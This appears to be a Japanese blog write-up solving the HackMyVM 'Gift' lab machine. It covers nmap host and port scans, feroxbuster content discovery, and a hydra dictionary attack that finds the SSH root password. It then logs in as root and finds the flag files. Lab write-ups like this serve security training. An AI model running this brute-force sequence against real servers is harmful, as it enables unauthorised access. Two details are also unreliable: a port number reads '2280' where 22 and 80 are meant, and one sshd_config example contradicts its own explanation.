HackMyVM Writeups (3)

HackMyVM 攻略記: Gift

Posted:

HackMyVM | Gift を攻略する。

0. ネットワークの設定と IP アドレスの確認

0.1. ネットワークの設定

マシンの IP アドレスを特定しやすいよう Host-only Network を使うよう設定する。 Bridge Adapter を使ってももちろん構わない。

0.2. IP アドレスを確認する

$ nmap -sP '192.168.56.*'
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-29 14:41 JST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 256 undergoing Ping Scan
Ping Scan Timing: About 2.54% done; ETC: 14:41 (0:00:00 remaining)
Nmap scan report for 192.168.56.1
Host is up (0.0049s latency).
Nmap scan report for 192.168.56.104
Host is up (0.0025s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.42 seconds

出力結果から 2 つの IP アドレスがヒットした。

192.168.56.1 は Host-only Network の DHCP サーバーの IP アドレスであるため、 192.168.56.104 が今回攻撃するマシンの IP アドレスであることがわかる。

1. ポートスキャン

$ nmap -sC -sV 192.168.56.104

Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-29 14:42 JST
Nmap scan report for 192.168.56.104
Host is up (0.00018s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
|   3072 2c:1b:36:27:e5:4c:52:7b:3e:10:94:41:39:ef:b2:95 (RSA)
|   256 93:c1:1e:32:24:0e:34:d9:02:0e:ff:c3:9c:59:9b:dd (ECDSA)
|_  256 81:ab:36:ec:b1:2b:5c:d2:86:55:12:0c:51:00:27:d7 (ED25519)
80/tcp open  http    nginx
|_http-title: Site doesn't have a title (text/html).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds

2280 番のポートが開いていることがわかる。

2. 80 番ポートにアクセスする

2.1. curl してみる

$ curl http://192.168.56.104

Dont Overthink. Really, Its simple.
	<!-- Trust me -->

使えそうな情報は含まれていない。

2.2. コンテンツスキャンを行う

他にアクセスできる URL がないか確認する。

$ feroxbuster --url http://192.168.56.104 --silent
http://192.168.56.104/

feroxbusterForced Browsing と呼ばれる攻撃を行うためのツール。 サイト内に貼られたリンクと、あらかじめ用意されたリストを使って、アクセス可能な URL を探し出す。

上の出力結果は、feroxbusterhttp://192.168.56.104以外のアクセス可能な URL を見つけられなかったことを示している。

3. ssh 接続

ここまでの結果から 80 番ポートは攻撃に利用できないように思われる。 ここからはもうひとつのポート、22 番ポートに対して攻撃を試みる。

22 番ポートは SSH で利用されるポートだ。

3.1. とりあえず接続を試みる

root ユーザーとして ssh での接続を試みると:

$ ssh root@192.168.56.104
root@192.168.56.104's password:

パスワードが聞かれるということは、パスワードによる接続が許可されているということだ。 仮に、sshd の設定で、以下のようにパスワードによる接続が禁止されているとする:

/etc/ssh/sshd_config
PasswordAuthentication yes

この場合、出力は下のようになる:

$ ssh root@192.168.56.104
root@192.168.56.104: Permission denied (publickey,keyboard-interactive).

正しいパスワードがわかれば接続できるかもしれないということがわかる。 「かもしれない」と書いたのは、下のように root ユーザーとしての接続が禁止されている可能性があるためだ。

/etc/ssh/sshd_config
PermitRootLogin no

このように接続が禁止されている場合でも、ssh で接続を試みたときにはパスワードが聞かれる。 そのため「パスワードによる接続は許可されているが、root ユーザーとしては接続できない」という可能性は否定できない。

3.2. 辞書攻撃を仕掛ける

root ユーザーとしての接続が禁止されている可能性は捨てきれないが、他に手がかりはない。 「パスワードがわかれば接続できる」可能性にかけてみる。

全く手がかりがない状態で正しいパスワードを知るには実際に試してみるしかない。 あらかじめ用意したパスワードの候補を使って実際に接続を試みる。 このような攻撃を辞書攻撃と呼ぶ。

hydra を使って辞書攻撃を仕掛ける。

$ hydra -f -w 1 -W 1 -t 64 -l root -P /usr/share/dict/rockyou.txt 192.168.56.104 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[WARNING] the waittime you set is low, this can result in errornous results
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 19:15:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344398 login tries (l:1/p:14344398), ~224132 tries per task
[DATA] attacking ssh://192.168.56.104:22/
[22][ssh] host: 192.168.56.104   login: root   password: simple
[STATUS] attack finished for 192.168.56.104 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 19:16:01

出力の中の以下の行から、パスワードは simple であることがわかる。

[22][ssh] host: 192.168.56.104   login: root   password: simple

3.3. root ユーザーとして接続する

3.2 で取得したパスワードを使って ssh で接続する:

$ ssh root@192.168.56.104
root@192.168.56.104's password:
IM AN SSH SERVER
gift:~#

4. フラッグの取得

3.3root ユーザーとして対象のマシンにログインできた。 フラッグを探すべく、ファイルを確認してみると:

gift:~# ls -la
total 20
drwx------    2 root     root          4096 Sep 24  2020 .
drwxr-xr-x   22 root     root          4096 Sep 18  2020 ..
-rw-------    1 root     root           467 Feb 29 06:08 .ash_history
----------    1 root     root            12 Sep 24  2020 root.txt
-rw-rw----    1 root     root            12 Sep 24  2020 user.txt

root.txtuser.txt の中身を提出してクリア 🎉